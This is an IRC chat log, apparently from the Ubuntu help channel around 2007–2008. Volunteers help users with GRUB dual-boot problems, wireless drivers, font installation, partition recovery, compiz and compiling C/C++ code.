ogra: i see, i expect someone else will know that [08:58] debaser: What icons do you see on your desktop? [08:59] yeah i got to that bit now i m selecting my country [08:59] !fonts | ogre [08:59] ogre: Font installation basics here: https://help.ubuntu.com/community/FontInstallHowto - No fonts in Flash?

[08:59] Bodsda: gutsy [08:59] ogre: You have a ttf font you want to install for system wide use? [09:00] ArthurArchnix: yes sir [09:00] After I use apt-get to uninstall an app and re-install, it's not downloading it again and just installin again... What do I need to do to get it download again? [09:00] How do you compil kernel programs? [09:00] ArthurArchnix: , can i pvt u ...so u can guide me through the process [09:00] whats up [09:00] ogre: Make a directory for your fonts. Like "sudo mkdir /usr/share/fonts/truetype/myfonts" [09:00] Leechzilla: do 'sudo apt-get clean' first [09:01] okay [09:01] ogre try going to System->preferences->apperence ,.,.theres a font tab in there [09:01] ogre: It doesn't have to be called myfonts, but the rest leave the same. [09:01] Anyone, How can I compile Kernel programs? [09:01] ahh thanks guys I'll give it a go [09:01] i thought i made a new user account (get root, adduser, new user, pass, info) for my friend to use the laptop, (it's got feisty on it) how do I get it to open as HER account and not mine? [09:01] debaser: Normally I'd say yes, but since I'm involved in more than one conversation we should keep it in here. [09:01] ok no worries [09:01] debaser: It's quiet though. So we shouldn't have any problems. [09:02] ogre: Have you got instructions already? [09:03] ogre: Oh I see, a good link. Nevermind. [09:03] ArthurArchnix: there is an error saying ext3 file system cannot be created in partition 1 :S [09:03] all your base [09:03] jklfdjskl: are belong to us ! [09:03] yea!! [09:03] :) [09:03] does ubuntu come with grub? [09:03] yer [09:04] 7.10 does [09:04] def [09:04] debaser: Is there anything on this disk that you're afraid of losing? [09:04] so, how many users ubuntu has? [09:04] yes but i m willing to make that sacrifice [09:04] :D [09:04] debaser: Describe the disk to me. Just one disk? How many partitions, of what type, and what's on them? [09:05] <_ruben> bugger .. printing from winxp to my ubuntu box works like a charm (usb printer on gutsy), but vista refuses to connect [09:05] ArthurArchnix: its a 20gb... [09:06] then there is a 200gb hardisk thats the slave tho....i dont want to loose anything on that disk [09:06] rane: 1113 [09:06] so you don't know [09:06] im having a really bad artifact issue with compiz after i updated my entire desktop. can some one point me in a direction to fix this [09:07] kay [09:07] debaser: But the 20gb.. this is just for ubuntu and then the 200gb this is important for data and such... right so far? [09:07] yeah [09:07] rane: i'm running XChat.. that's how many users are in this channel [09:07] debaser: Sata, or pata disks? [09:07] definitely not sata [09:08] i wanted to know how many users have *buntu on their computers [09:08] and how you count them :-) [09:08] i'm trying to run grub shell from ubuntu alternate rescue mode, but i get 'Error opening terminal: bterm" ... I tried setting TERM to vt100 but grub was all messed up. any ideas ? [09:08] :( i dont kow what pata is [09:09] debaser: Well.. not the 20 anyway. :) ok.. here's what I think you should do. Turn off the computer and unplug the 200GB disk. Reboot with the live cd and when it comes up tell it that you want to check the disc for errors. This will check the installation disk to make sure it's good. Then, when it comes to install time, just tell it to use the whole disk. It will use your entire 20GB disk for ubuntu. Assuming all goes well, you tu [09:10] ok [09:10] u ll be here when i get back right ArthurArchnix [09:10] debaser: Unplugging is not strictly necessary, but since it's important to you we should do that to be safe, so that we don't accidentally install stuff to that disk. [09:10] I'll be on for another hour. [09:10] hi everyone [09:11] aight [09:11] Lots of time. Don't rush. :P [09:11] muchos gracias [09:11] :D [09:13] anybody know how to get nano/vi/grub working with the crappy bterm in ubuntu rescue mode ?

[09:17] Hi have a dell xps 1330 and am having trouble getting yjr wireless working [09:19] American-tech, what network card do you have? [09:19] Joe__: I do not believe you can unmount the CD unless you have specified a boot option to load the CD contents to RAM (I know knoppix could do this) [09:19] Joe__: What would you burn it with? [09:19] Let me copy the specs [09:20] one sec please [09:20] er... [09:20] umm... just burned it... [09:20] Everytime I restart computer I have to configure wireless wep configuration. Anyone to help me please ? [09:21] hi I an new to Ubuntu [09:21] Sul: Welcome.

[09:22] Sul: When you want to speak to someone in particular, type part of their name then hit tab. It will be highlighted to get their attention. Also.. it's considered polite to put all your comments on one line without hitting enter after every sentence. [09:23] Sul: Not a big deal now, since it's so quiet, but it's more important when it's busy in here. [09:23] Arther: thanks [09:23] hi, in rhythmbox , can't i make advanced search queries like: ("Artist: Avril" OR "album:Bla") ? [09:24] Ubuntu users, anyone know if ubuntu fiesty fawn 7.04 comes with gparted? [09:24] navid: I'm on gutsy and don't remember. But it's available in the repositories and can be easily installed through add/remove. [09:24] Arthur: is it possible to get Java without installing Ubuntu to the harddisk? [09:24] navid: sudo apt-get install gparted [09:24] ArthurArchnix: hi, hi. We're quite? With 1112 users? Yes , we are.:) [09:25] (R) Wireless WiFi Link 4965AGN [09:25] n2diy: :) Indeed.

[09:25] Arthur: thanks [09:25] hello everyone,When i turn on my ubuntu, it can mount my fat32 partitions auto .can i configure it? [09:26] gparted ive cd, navid [09:26] navid: it is a terminal command [09:27] ethan961 the gparted livecd messes the BIOS and I cannot use my keyboard & mouse, better to stick to ubuntu one [09:27] hello everyone,When i turn on my ubuntu, it can mount my fat32 partitions auto .can i configure it? [09:27] Has anyone got any idea for my problem? [09:28] Sul: Hmm.. can't find any info. Have you tried using synaptic yet? If it's possible, it will install java to RAM, not the hard-disk. It will be slow. [09:28] hai if I write a kernel module and save it in the editor, How do i compile it? [09:28] Reno: What's your problem, I just woke up? [09:28] Arthur: thanks and will look into it [09:29] the systm rescue cd has qtparted if thet would do [09:29] system [09:29] n2diy: when i play video my system freezes, everything is locked [09:29] Hi have a dell xps 1330 and am having trouble getting my wireless working [09:29] Sul: Synaptic is found in >system >administration >synaptic package manager [09:30] PLSshowyourhelp: hello everyone,When i turn on my ubuntu, it can mount my fat32 partitions auto .can i configure it? [09:30] Arther: thanks [09:30] Reno: ok, a Nvidia card? There is a special channel for that, but I don't recall where it is now, sorry. [09:30] ! nvidia [09:30] To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto [09:31] n2diy: is is a s3 Unichrome pro kmd 800, everything is wel in my Xorg.conf [09:31] American-tech im not entirely sure, but the way i went about it is to find out if there were linux drivers available, and seeing as my wireless card didnt, installed ndiswrapper with the windows xp drivers. and it's worked since. [09:31] Sul: Search for sun-java5 and try to install the bin, jre, and plugin. Hopefully that works. [09:31] Arther: thanks [09:32] Sul: You right-click, then mark for installation. Let me know if it works. I'm curious. [09:32] :) [09:32] Arther: will post after rebooting and thanks [09:32] Reno: roger that, I don't play with video stuff, so I can't help you, good luck. [09:33] Sul: If it's a live cd after you reboot sun will disappear. Definitely don't reboot after you try it. [09:33] How do I compile a kernel module in gedit [09:33] n2diy: thanx for the efford [09:33] Ok let me get ndiswrapper installed [09:34] Arther: I am on Win now and will insert the CD before rebooting and then try and install Java; and post results later [09:34] pradeep: you don't, gedit is a text editor. [09:34] When i turn on my ubuntu, it can mount my fat32 partitions auto .can i configure it? 555555555 [09:35] American-tech: My sister also had trouble with the Mini card and the linux driver didn't work. Ndiswrapper from repository didn't work either, but compiling it from source worked. So incase your ndiswrapper installation doesn't help you get your wireles card working, try compiling it also. [09:35] What is the procedure start a Kernel programming? Where do I write the module? [09:36] pradeep: Your question is very general. What exactly are you trying to do? Install some new alsa drivers? Apply a patch from a website? [09:36] pradeep: http://www.tldp.org/LDP/lkmpg/2.6/html/index.html [09:37] oh i am trying to mount a fat 32 also does it need to be mounted /windows to be used by both systems or can i do /media? or othe suguestions? [09:37] astro76: Nice link. But seeing as how pradeep wanted to use gedit to compile some modules, probably a bit advanced for him, no? [09:37] ArthurArchnix: probably, but unless he asks a specific question... [09:38] astro76: O:-) [09:38] How could you compile a kernel with gedit? [09:38] n2diy: With great difficulty I would imagine. [09:39] !compile [09:39] Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first) [09:39] ArthurArchnix: Thank you. ;) [09:39] ubunty experts, any idea how to repair an XP partition with gparted? I am confused over what to do with gparted i have it running [09:40] navid: AFAIK gparted can't repair partitions. It can delete them, format them, create them, resize them. To repair a windows partition you would need to use windows tools. Again... afaik. [09:40] navid: what's the problem? [09:41] Really..??? God damn it, someone here told me to get gparted [09:41] hello there [09:41] navid: Like astro76 said, what are you trying to do? What's the problem? [09:41] astro76: I was installing ubuntu I accidently click on Create New Partition table in one of the steps and erased deleted my xp partition [09:41] my splash screen is showing a different screen refresh rate than when im on my desktop [09:41] would anyone know anything about how to fix this? [09:41] So I ended up with 30gb of free space and 200gb of unallocated [09:42] ouch, dunno about partition table repair [09:42] Its suppose to be 30gb of space for ubuntu, and 200gb of Xp... [09:43] boot up with ur ubuntu cd and use partition manager [09:43] foibles: just a guess, but check the settings in "Login window" under administration menu [09:43] i think i saw something in there for that [09:43] brenix, will do [09:43] jonathan: do you mean Gparted? [09:44] well if you are jsut trying to change the partitions you can use partition manager i havent used gparted before [09:44] I am using wifi rader program and sees the networks but fails to connect to any of the networks. Can't aquire the ip [09:44] ArthurArchnix:I am not using gedit to compile the module. I am asking how do you compile a module. Probably I sholud not have mentioned gedit [09:45] I have ubuntu 7.04 I dont think it comes with partition manager. And by change I meant to undo what I did, [09:45] !module [09:45] Sorry, I don't know anything about module - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [09:45] navid: http://www.partition-recovery.com/ or maybe http://www.thefreecountry.com/utilities/datarecovery.shtml I'll take a look and see if there are any linux tools. [09:45] ! kernel | pradeep [09:45] pradeep: The core of the Ubuntu Operating System is the Linux kernel: see https://help.ubuntu.com/community/Kernel - You shouldn't have to compile your own, but if you're convinced you do, see https://help.ubuntu.com/community/Kernel/Compile - For more: /msg ubotu stages [09:46] DANLOZ [09:46] I GOT WIRELESS WORKING [09:46] I still need help with this installation [09:46] dammit, i had gtk [09:46] gnome sucks balls [09:46] there's no perform in xchat where you can put start up commands ?

[09:47] FY1, yes [09:47] navid: It has this program to recover a deleted partition http://www.cgsecurity.org/wiki/TestDisk [09:47] Noogen: yes, I followed some instructions [09:47] i installed ubuntu studio to check it out [09:47] and it uses gnome [09:47] though yes, i could install kde [09:47] Noogen: can we get someone to have ubotu redirect here: https://help.ubuntu.com/community/WifiDocs/Driver/Ndiswrapper#autostart [09:47] navid: I've never used it, but I can tell you to not do anything else to your disks until after you've tried to recover the partition using that system rescue cd. [09:47] im just saying, gnome is horrible [09:47] that's what worked for me ^^ [09:48] Incredibly helpful [09:48] !ndiswrapper > FYI [09:48] ArthurArchnix: I know what you mean and Thanks for the links man. I havent even instaled ubuntu yet due to fear of losing data. Ok time to get ResccueCD a try [09:48] Hey, GRUB does not work on my dualboot installation. I have 2 harddrives, 1 XP and 1 Ubuntu. XP was installed beforehand. I installed Ubuntu on the new harddrive using the normal livecd, and followed the wizard. Now, when I boot up, it says: "GRUB loading stage1.5... GRUB loading, please wait... Error 2". I've tried reinstalling, restoring GRUB, nothing works. Some help would be great :) [09:49] !ndiswrapper > FY1 [09:49] It just seems like GRUB doesn't see the stage1 and stage2 files. Why, I have no idea. [09:49] what percentage roughly of Ubuntu main/restricted/universe/multiverse packages actually are debtagged? [09:49] ie. should i bother using it on Ubuntu vs say Debian [09:49] ! grub | TheDarkKiller [09:50] TheDarkKiller: grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto [09:50] Thanks guys, I'll resume my work tomorrow. I need sleep its been 8 hours [09:50] TheDarkKiller: it means there's a bad file or directory type [09:50] Yeah, I know. [09:50] But I've tried reinstalling and restoring GRUB, that doesn't work. [09:51] TheDarkKiller: The problem is fixable. But it's trial and error. What's most likely happened is that grub get's installed to the mbr of the windows disk, then can't see the boot files on the ubuntu disk. There's lots of info on the forums. I've seen this sort of thing so much though that now I recommend removing the windows disk, putting the ubuntu disk in it's place, installing ubuntu, then pluggin in the windows disk into the sec [09:51] why does my password not work when i try to enter "configure login manager" at my splash screen [09:51] TheDarkKiller: is it a Dell machine? [09:52] No [09:52] TheDarkKiller: is it a Dell machine? [09:52] No. [09:52] TheDarkKiller: OK [09:52] Well, the Windows disk is master and the Ubuntu disk is slave. [09:52] TheDarkKiller: If you want to try troubleshooting it, start with your bios. Swap the disks around in the bios to boot first from the second disk. [09:52] I did that. [09:53] Same. [09:53] TheDarkKiller: Yeah. What can I say. Their sata disks right? [09:53] No, ATA 100 & 133. [09:53] (the ubuntu disk is ATA 100) [09:53] TheDarkKiller: Huh. well, that's new at least. [09:54] I am making a fat 32 partition for windows and Ubuntu to share, does it need to be mounted in a certian location for both to be able to read and write? [09:54] Hi [09:54] can anyone help me? [09:54] I bought the new Ubuntu disk recently, and its sole purpose was to dualboot. [09:54] TheDarkKiller: Well, remove the windows disk, put the ubuntu disk in the master position, make sure the jumper is set right, then use the live cd to reinstall grub. then add windows (change jumper to slave). [09:54] ranbog_: maybe [09:54] ok [09:54] Hnm, I'll try. [09:54] TheDarkKiller: OK, could the hard drive have come from a Dell machine, Dell used to hide partitions on their hard drives, that weren't friendly with Linux. [09:54] i have install ubuntu studio [09:55] No, n2diy :P [09:55] and im am very satisfaid [09:55] but [09:55] It's a Seagate Barracuda hdd, 320 GB. [09:55] i want to put them more beautifull and atractive [09:55] TheDarkKiller: OK [09:55] so one gui recomnde me that i install compiz fusion [09:55] TheDarkKiller: Or check out the forums. But I warn you, ubuntu installer and grub do not play nice in dual boot/dual disk scenarios where ubuntu is installed to the second disk. [09:55] Arthur, I'll try your suggestions. [09:55] its true that compiz fusion its better than berryl? [09:56] !beryl | ranbog_ [09:56] ranbog_: Beryl has been merged with Compiz to form Compiz-Fusion. New Beryl installs are discouraged. See also !compiz [09:56] Hope it'll fix the problems (btw, I hate to boot up with this damn livecd everytime :P) [09:56] bbl [09:56] hummm [09:56] TheDarkKiller: good luck. [09:56] but in compiz fusion i have miss some funcions of beryl [09:56] like 3d windows [09:57] ranbog_: ask in #compiz-fusion they can probably help [09:57] ranbog_: Are you running gutsy? [09:57] hi all i have problem about grub loader i want to disable it. because i had an other start up loader ( watch dog- like deep freeze ) [09:57] gustsy? [09:57] hi how can I search for folder thought entire disk [09:57] im running ubuntu studio [09:57] ajitam: locate [09:57] n2diy: thx [09:57] ranbog_: Oh... sorry, don't know anything about that. [09:58] ok [09:58] no problem [09:58] thanks [09:58] how can i disable grub loader ?! [09:58] if i manually update the grub menu.lst, do i need to do anything else for it to reflect those changes when next time i boot up? [09:58] ranbog_: In ubuntu compiz is installed by default, but you need to install the settings manager to get full control of all the available plugins. Maybe studio is similar. [09:58] l3ttuc3: sudo update-grub [09:59] Turel: Why would you want to? [09:59] thanks astro76. [09:59] Turel: I don't know, but how will you boot without it?

[10:01] after grub loader my win os doesnt boot :( because it needs to watch dog's loader [10:01] yes it is loading i m on ubuntu now [10:02] n2diy !? [10:02] Turel: Then it is a Windows problem, not a Ubuntu problem, no? [10:03] try asking ##windows [10:03] not i have to disable grub loader [10:03] Turel: how will you boot ubuntu? [10:04] i dont want to boot ubuntu - [10:04] if i disable grub loader my problem will be fixed [10:04] go ask ##windows, then [10:04] Turel: they're right, this is not an #ubuntu problem ;) [10:04] Turel: there's no disabling, you just install a different boot loader [10:04] Turel do you have the windows xp insall cd? [10:04] yes i have [10:05] ling some C++ code. But it will not detect the directories why? [10:05] Turel: Usually, grub hands control of booting windows off to the windows boot loader when you choose windows. But you have a third-party boot-loader so grub doesn't hand control over to it properly. You can try checking out the grub forums or else maybe any support forums for your boot app. Or, boot up a windows recovery cd, run fixmbr. Then, assuming your third party boot loader can handle linux partitions you can try reinstalling [10:05] but there are a lot of important source code on winxp :( i have to save them :( [10:05] Turel boot from the windows install cd. when it prompts you type 'R' for repair and it will take you to a command prompt. Type 'fixmbr' at that prompt, and then when it is done reboot [10:05] Turel: Grub has most likely over-written your boot-loader, removing grub will most likely just leave your system unbootable. [10:05] you could mount the windows partition in ubuntu [10:06] dual monitors how do i get ubuntu to activate my second screen ?

[10:11] but i have xfce installed as well [10:11] ok... [10:11] n2diy: Thunar is pretty much a lighter and sleeker version of nautilus. it is very nice :D [10:11] namely... why wont it let me open a terminal window?? [10:12] * jesse just thought he'd add his opinion on thunar even though nobody asked [10:12] ubotu:I have compiled a c++ code :g++ -o foo foo.cc. It did not detect the directories I used. Any help? [10:12] in mirc u have perform to put startup commands in.. no such thing in xchat? [10:12] I did fsck and something went very.. VERY wrong, I'm backing up things now thanks the to liveCD... but is there anyway to fix it without reinstlal? [10:12] jesse: ok [10:12] since build-essential is on the cdrom [10:12] why does it not get installed when you install ? [10:12] I have just compiled a custom kernel (one that needed to be patched so I can use linux vserver) and all was successful but when I boot it up it says that it can't find /lib/modules/2.6.22.15 directory, even though it exists. Any ideas?

[10:15] BlakJak: try putting "xfce4-terminal" in the run dialogue [10:15] pradeep: which directories are you trying to use? [10:16] jesse I think it is now called Terminal (with an upper case T) [10:16] i'm installing LAN card drivers for linux, and i have a problem concerning insmod. when i input sudo insmod r8168.ko, it returns insmod: error inserting 'r8168.ko': -1 File exists.

[10:16] jesse any other thoughts? [10:16] BlakJak: try "xterm", the most basic terminal emulator [10:17] Starnesstommy: [10:17] jesse no...that's the name of the executable...honest [10:17] well, i don't think other drivers would help [10:17] cause these were the best, in my opinion [10:17] jesse: ahh. that worked [10:17] can anyone please help me with create a custom alternate cd [10:17] hi, can someone help me set up MIDI? [10:17] BlakJak: okay, now you MIGHT be able tot ake it from there [10:17] all what I would like to do is update the alternate cd [10:18] hi hald is writing to my harddisk every five seconds which is really annoying [10:18] Starnesstommy:http://www.josuttis.com/libbook/cont/bitset1.cpp.html has the cpp code i compiled [10:18] BlakJak: the problem is if you run "xfce4-terminal" from the xterm, X will crash before you get to read the terminal output :P [10:18] any idea how to make stop so my HD can sleep? [10:18] jesse: i dont suppose it'll put anything in syslog? [10:18] Finally :D [10:18] BlakJak: do you have xterm open? [10:19] I'm into Ubuntu. [10:19] Starnestommy:http://www.josuttis.com/libbook/cont/bitset1.cpp.html has the cpp code I complied [10:19] th0r: yes, I do . [10:19] xfce4-terminal kills X. xterm worked [10:19] LetterRip: what does "cat /etc/fstab | grep noatime" say? [10:19] I did fsck and something went very.. VERY wrong, I'm backing up things now thanks the to liveCD... but is there anyway to fix it without a reinstall? I can mount and see/use the disks fine under the liveCD but when I try to boot normally it fails [10:19] BlakJak:type 'Terminal' with an uppercase T [10:19] pradeep: try g++ -o foo -I/usr/include -I/usr/include/c++/4.1/ [10:19] BlakJak:that should open the xfce terminal [10:19] says it's not currently installed.. [10:19] Thanks alot, Arthur :) [10:19] Joe__: what does it say? [10:19] jesse nothing [10:19] TheDarkKiller: Have you got windows booting yet? [10:19] BlakJak:there's your problem [10:19] nothing, it freezes [10:19] pradeep: oops, forgot the foo.c thing at the end [10:19] recovery mode gives me the Kernel Panic error [10:20] BlakJak:two options ... install Terminal or change the menu to use xterm [10:20] th0r: this is a brand new install... i'm confused.. :P [10:20] what is 'Terminal' ? [10:20] BlakJak:it is xubuntu? [10:20] LetterRip: hmm, and you know its hal thats doing it? [10:20] th0r: yus, 7.10 [10:20] but if I can mount them and grab data to backup via the liveCD... then the data must still be good, right? [10:20] jesse - eh not for positive [10:20] BlakJak:Terminal is the terminal emulator that xfce uses...just a sec [10:20] but someone reported the exact same sympton [10:20] and it was hald that was the culprit [10:21] th0r: I have two boxes ive just installed, both have the same issue... a bug in the release perhaps? [10:21] LetterRip: ah, there must be a way to track down what app is writing/reading from disk [10:21] Hi, i can't see my mp3 player or camera anymore in "Computer" when i connect these devices to my USB port. Why? Can i get them back? [10:21] jesse running dstat [10:21] just a sec [10:21] BlakJak:ah jeez....another suse vs ubuntu problem. In ubuntu it is called xfce4-terminal. If you type that in xterm it crashes X right? [10:21] yep [10:21] thats what jesse had me do before [10:21] LetterRip: i dont know what that is, but okay :D [10:21] ;p [10:21] hi, can someone help me set up MIDI? [10:21] BlakJak:just a sec while I log into my server and check something [10:22] th0r: k [10:22] BlakJak:my laptop runs suse and my server runs xubuntu [10:22] ! ask | Makuseru [10:22] Makuseru: Please don't ask to ask a question, ask the question -- All On One Line, so others can read it and follow it easily --. and if anyone knows the answer they will most likely answer. :-) [10:22] BlakJak:the new terminal for xfce is Terminal, but apparently ubuntu is sticking with the old [10:22] right.. [10:22] darn it just tells me what writes when [10:23] not what is writing it [10:23] i'll use apt to install Terminal [10:23] Makuseru: tell us what the problem is, and someone will help you if they can. [10:23] Athur, for the moment, I'll stick with Ubuntu :P [10:23] seems to me that if thats the case xubuntu shouldve installed Terminal instead of xfce.. [10:23] BlakJak:just a sec...checking to see if it is available [10:23] jesse: i cant get any instrument synths that require midi to work [10:23] But it had a "Windows XP" option in the menu, so I guess it's fine. [10:23] they just make no sound [10:23] BlakJak:ubuntu is rather conservative about adopting new stuff [10:23] how do i change my resolution [10:23] apt says its there... [10:23] BlakJak: "Terminal" is just what xfce4-terminal and gnome-terminal are called in the menu. [10:23] i have tried editing the xorg [10:23] geezus, lots of dependencies [10:23] but it doesnt work [10:24] BlakJak: you know, just to simplify things. [10:24] i can't see my usb devices in computer folder anymore. Can anyone help me to get them back there? [10:24] the error tells me to run apt-get install terminal.app [10:24] BlakJak:Terminal isn't available in ubuntu, but xfce4-terminal is...try reinstalling it === tabris is now known as tabris|away [10:24] in system > resolution [10:24] BlakJak: i have both xfce4-terminal and gnome-terminal installed on my computer, and they are both called "Terminal" in the menu.

[10:24] hey guys.. for some reason when I installed gnash my youtube started screwing up..

[10:34] BlakJak- jeez...my next step would be to download the source and compile it from scratch...but I hesitate to recommend that to anyone else [10:34] how come ubuntu kind of dims when its trying to do a process that is taking too long [10:34] Joe__: depends on what errors it displays along with the kernel panic [10:34] or more accurately... what is the minimum I need to replace for it to boot [10:34] Joe__: i dont know, kernel panics are like blue screens of death, not really sure what your supposed to do to fix it :P [10:34] is it always like that?

(k3b does) [10:36] jesse: burnt in winblows, so i make a leap of faith.. [10:36] (if you tell it to) [10:36] BlakJak-: thats where Ubuntu's built in integrity check comes into play ;) [10:37] tja [10:37] BlakJak- just so you know...you could have used the ubuntu cd and just installed xfce as an additional desktop.

I read the MOTD for this channel earlier, though [10:47] Ximal: use the right one for your archietecture. are you on 64bit, 32bit or PPC? [10:47] 64bit [10:47] SickMind: I'm just as confused as you are [10:47] Ximal: use this one then: http://launchpadlibrarian.net/10804892/flashplugin-nonfree_9.0.115.0ubuntu2_amd64.deb [10:47] Ximal: i am on 64bit as well and thats the deb i used. [10:47] Starnestommy:~# gcc -o p1 -I/usr/include p1.c [10:47] does not work [10:47] For example & is not correct translated to & by evolution. Does anybody know how to get this work? [10:48] jesse, whats the diff between beryl and compiz-fusion ? [10:48] Starnestommy i have both OS on my computer [10:48] Okay, due to compatibility problems I am going to have to get openSuse to install rather than ubuntu on my computer. I am here to say that I will not be using ubuntu for much longer and I will miss you all very much, and I also wanted some advice for which download to choose for openSuse. [10:48] ubuntu and win xp [10:48] Lokii-: whats wrong with the compiz packages in the repos anyway? [10:48] /usr/bin/./evoulution [10:48] pradeep: what error message does it give you? [10:48] thanks jesse it's installing ;) [10:48] jesse i don't beleive i have it [10:48] Noodels: uhm...okay...good luck? [10:48] just installed rhythmbox and got it up and running, but i didnt find any equalizer in it?? where can i find that? [10:49] and yes.. they've screwed up the mdsum update... that's why it's not updating through aptitude [10:49] Starnestommy:root@pradeep:~# gcc -o p1 -I/usr/include p1.c [10:49] gcc: p1.c: No such file or directory [10:49] gcc: no input files [10:49] Rimfrost: no equaliser in rhythmbox. [10:49] rythembox will sync most mp3 players [10:49] pradeep: does p1.c exist in your home directoryA? [10:49] jesse : Thanks, the problem is I have an intel dual core pc now, and I don't know whether to download 32bit or 64bit. [10:49] jesse, E: Couldn't find package compiz-fusion [10:49] and we have FLASh [10:49] lol [10:49] Lokii-: Try to use apt-cache search to get the right name. [10:49] Rimfrost: you may find a plugin for one, but there are other players that have an equaliser, like Amarok [10:50] uninstall and reinstall compiz or just get rid of it [10:50] thnx fr00d [10:50] pradeep: doing homework :)? [10:50] Lokii-: not compiz-fusion, just compiz [10:50] http://software.opensuse.org/ I don't know whether I have 32bit or 64bit processor. [10:50] Lokii-: "compiz" is compiz fusion now. [10:50] lspci [10:50] ok i'll check Amarok out thanks [10:50] amarok sux use xmms [10:50] Noodels it depends if you have a 32 bit operating system or 64 [10:50] Noodels: it should say on your processor box. [10:51] I didn't like either... I used... E something... [10:51] jesse: I didn't buy the processor on its own, I bought a pre-finished computer. I couldn't afford to do something I didn't know was going to work. [10:51] jesse, rebooting didn't fix it [10:51] Noodels: if you want, download the 64bit livecd of ubuntu and if it works youve got a 64bit processor, otherwise use the 32bit one [10:52] and i tried killing just about every process [10:52] before rebooting [10:52] and it didn't stop either [10:52] LetterRip: try using "top" to see wat processes are currently active. [10:52] LetterRip: you might be able to track down the offending process. [10:52] Noodels: I have and AMD64 and use the i386 version [10:52] use ps -aux [10:52] ps -aux [10:53] jesse: Hmm... That's a big download... Have a look at the link, I have some sort of intel dual core, just the 32bit and 64bit choice boxes. [10:53] and kill 14006 [10:53] just kidding [10:53] he he [10:53] Noodels: what are you running right now? [10:53] ps -aux [10:53] Noodels: i would grab the 64bit, i think a lot of new processors are 64bit these days. [10:53] is for sure [10:53] FY1: I did consider that, but I read that you can only use one processor.. [10:53] FY1: I'm running windows... ;( [10:54] get gkrellm [10:54] Starnestommy: Looks like I found out a way of working in C/C++ in Linux . Thanks a lot. [10:54] just do it [10:54] just download gkrellm [10:54] hello [10:54] Noodels: maybe... I have no clue to be honest. I just know it works. YOu should have been here earlier when my CPU(s) were messing up... ksoftirq or whatever was using 115% of processing power [10:54] FY1: It's a dual boot, I'm going to put openSuse on the failed ubuntu install partition. [10:54] Noodels: but you really should know from the specs of your PC. there might be a more direct way to check the processor type, through the BIOS for eg. but ive never done that, i knew my processor was 64bit from when i purchased it. [10:54] you won't regret it [10:54] Playing with compiz and feewins under Gutsy [10:54] Noodels: what failed about it? [10:55] Noodels: i say download the 64bit ubuntu and see if it works. chances are it will because most processors these days are 64bit. [10:55] DOWN load GKRELLM????????????????????????? [10:55] Noodels: then you can go on and get the 64bit opensuse. [10:55] when you rotate window and try to open menu it is not rotated along with menu [10:55] FY1: It crashes within 10 seconds of booting up, I'm lucky if I get to the desktop. [10:55] FY1: hmmm a kind of!!! I got an Research assistance. I have to work on a software Click(uses C++) on LINUX [10:55] is it supposed to be like that? [10:55] what are you running on your box [10:55] ? [10:55] 5 minutes... [10:56] Noodels: the preloader shows up and then the screen goes blank, right? [10:56] if i wanted to change the little ubuntu icon next to 'applications' where should i look? [10:56] u have to download the manager [10:56] and edit your compiz [10:56] FY1: I'd searched for ages before I found a post on a forum where someone couldn't run the version I was trying to run on his dual core. Someone said they could use i386 but only one processor would work. Since my hardware is so limited I decided to change distros. [10:57] FY1: I am pretty much new to linux. So it is like a bit tough for me [10:57] you'll figure it out it's not brain surgery [10:57] cre8torx: you mean me? :) [10:57] hi! :) [10:57] <[Gutsy]TuTUXG> I just got a core 2 d laptop, if i want to use 64-bit ubuntu, can i just install with the amd64 cd? [10:57] pradeep: it's fine, someone's always here to help [10:57] Noodels: I have a dual core amd and it's fine. doesn't get to hot etc. [10:57] I used compiz for like a week it gets old real fast [10:57] FY1: Ya I know. Thanks a lot [10:58] jesse: Alright, I'll have a look in my bios, if it says 32 or 64 directly then I wont need to return, otherwise I'll come back here while looking up the specs of the processor. [10:58] FY1: How can I master Linux? [10:58] Starnestommy: You still here? [10:58] Joe__: yes [10:58] pradeep: fool around with it (except in cases where you need to sudo or su :)) [10:58] is there a way to find out where the resource for that little ubuntu icon near applications is found? [10:58] got about 2 minutes before all my backups are done [10:59] I know the very basic stuff. What exactly is the essense of ubuntu [10:59] ubuntu is very cool [10:59] what is it like hold cont and alt and move your mouse [10:59] FY1: Well I spent 8 hours yesterday trying to get ubuntu to dual boot with windows on this machine, I've looked/asked on forums/irc and I feel this is my last option to get linux on my new computer. [10:59] Noodels: use wubi installer [11:00] FY1: I know the basic stuff. What exactly is the essense of Linux. [11:00] windows sucks [11:00] realmer: You mean the text based installer? The live one wouldn't work, that's how I did it. [11:00] Noodels: nope\ [11:00] FY1: What should I learn in Linux? [11:00] realmer: Oh? [11:00] everything:D [11:00] Noodels: it makes file based hard disk and installs ubuntu on it [11:00] <[Gutsy]TuTUXG> sorry i just fond that the amd64 cd is the generic name for 64 bit version [11:01] how to install for terminal how to get around terminal all that good stuff [11:01] Noodels: and uses grub4dos for booting [11:01] FY1: I don't understand how to use the terminal. [11:01] open terminal [11:01] pradeep: as much as you want. If you're starting to program you may become interested in helping out with a certain project once you reach a certain skill level [11:01] Noodels: http://wubi-installer.org/ [11:01] pradeep: what do you need help with [11:01] realmer: If you'd spent over 8 hours straight I think you'd understand why I am looking at a completely different distro. [11:01] !terminal commands [11:01] Noodels: running under this right now [11:02] cd is the command for changing your directories and finding you files [11:02] !linux commands [11:02] Sorry, I don't know anything about linux commands - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [11:02] ls [11:02] !shell commands [11:02] Sorry, I don't know anything about shell commands - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [11:02] grr [11:02] ls list your files in the folder [11:02] Noodels: if you have windows xp and some free hard disk space this is very easy [11:02] ayone know why dvddecryptor or dvdshrink might not be detecting devices like my dvd rom ? [11:02] Starnestommy: Error parsing configuratio: No such file or directory [11:02] Kernel pane - not syncing: Attempted to kill init! [11:02] <[Gutsy]TuTUXG> another problem is since this is no 64 java from sun, how do i install sun jdk on a 64 bit ubuntu? [11:03] learn your basic linux commands there's probly a website google it?????????????????????????? [11:03] here we go [11:03] then she just sits there until I hit the reset button [11:03] FY1:Assume my skill level is1 on a scale of 5.What should I do? What is Linux programing? [11:03] !ls > pradeep [11:03] Noodels: just download ubuntu advanced installer iso put it in the same dir as wubi installer and execute wubi installer [11:03] is it in your home [11:03] 